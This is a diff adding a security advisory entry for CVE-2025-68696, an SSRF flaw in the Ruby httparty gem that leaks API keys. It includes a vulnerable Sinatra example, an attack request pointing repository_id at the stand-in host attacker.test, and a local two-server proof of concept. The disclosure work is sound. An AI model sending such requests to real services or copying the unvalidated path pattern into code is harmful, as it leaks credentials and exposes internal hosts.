|
| 1 | +--- |
| 2 | +gem: httparty |
| 3 | +cve: 2025-68696 |
| 4 | +ghsa: hm5p-x4rq-38w4 |
| 5 | +url: https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4 |
| 6 | +title: httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage |
| 7 | +date: 2025-12-23 |
| 8 | +description: | |
| 9 | + ## Summary |
| 10 | +
|
| 11 | + There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. |
| 12 | +
|
| 13 | + ## Details |
| 14 | +
|
| 15 | + When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. |
| 16 | +
|
| 17 | + Consider the following example of a web application: |
| 18 | +
|
| 19 | + ```rb |
| 20 | + require 'sinatra' |
| 21 | + require 'httparty' |
| 22 | +
|
| 23 | + class RepositoryClient |
| 24 | + include HTTParty |
| 25 | + base_uri 'http://exmaple.test/api/v1/repositories/' |
| 26 | + headers 'X-API-KEY' => '1234567890' |
| 27 | + end |
| 28 | +
|
| 29 | + post '/issue' do |
| 30 | + request_body = JSON.parse(request.body.read) |
| 31 | + RepositoryClient.get(request_body['repository_id']).body |
| 32 | + # do something |
| 33 | + json message: 'OK' |
| 34 | + end |
| 35 | + ``` |
| 36 | +
|
| 37 | + Now, suppose an attacker sends a request like this: |
| 38 | +
|
| 39 | + ``` |
| 40 | + POST /issue HTTP/1.1 |
| 41 | + Host: localhost:10000 |
| 42 | + Content-Type: application/json |
| 43 | +
|
| 44 | + { |
| 45 | + "repository_id": "http://attacker.test", |
| 46 | + "title": "test" |
| 47 | + } |
| 48 | + ``` |
| 49 | +
|
| 50 | + In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`. |
| 51 | +
|
| 52 | + A similar problem was reported and fixed in the HTTP client library axios in the past: |
| 53 | + <https://github.com/axios/axios/issues/6463> |
| 54 | +
|
| 55 | + Also, Python's `urljoin` function has documented a warning about similar behavior: |
| 56 | + <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin> |
| 57 | +
|
| 58 | + ## PoC |
| 59 | +
|
| 60 | + Follow these steps to reproduce the issue: |
| 61 | +
|
| 62 | + 1. Set up two simple HTTP servers. |
| 63 | +
|
| 64 | + ```bash |
| 65 | + mkdir /tmp/server1 /tmp/server2 |
| 66 | + echo "this is server1" > /tmp/server1/index.html |
| 67 | + echo "this is server2" > /tmp/server2/index.html |
| 68 | + python -m http.server -d /tmp/server1 10001 & |
| 69 | + python -m http.server -d /tmp/server2 10002 & |
| 70 | + ``` |
| 71 | +
|
| 72 | + 2. Create a script (for example, `main.rb`): |
| 73 | +
|
| 74 | + ```rb |
| 75 | + require 'httparty' |
| 76 | +
|
| 77 | + class Client |
| 78 | + include HTTParty |
| 79 | + base_uri 'http://localhost:10001' |
| 80 | + end |
| 81 | +
|
| 82 | + data = Client.get('http://localhost:10002').body |
| 83 | + puts data |
| 84 | + ``` |
| 85 | +
|
| 86 | + 3. Run the script: |
| 87 | +
|
| 88 | + ```bash |
| 89 | + $ ruby main.rb |
| 90 | + this is server2 |
| 91 | + ``` |
| 92 | +
|
| 93 | + Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`. |
| 94 | +
|
| 95 | +
|
| 96 | + ## Impact |
| 97 | +
|
| 98 | + - Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. |
| 99 | + - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. |
| 100 | + - Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue. |
| 101 | +cvss_v4: 8.8 |
| 102 | +patched_versions: |
| 103 | + - ">= 0.24.0" |
| 104 | +related: |
| 105 | + url: |
| 106 | + - https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4 |
| 107 | + - https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240 |
| 108 | + - https://nvd.nist.gov/vuln/detail/CVE-2025-68696 |
| 109 | + - https://github.com/advisories/GHSA-hm5p-x4rq-38w4 |
0 commit comments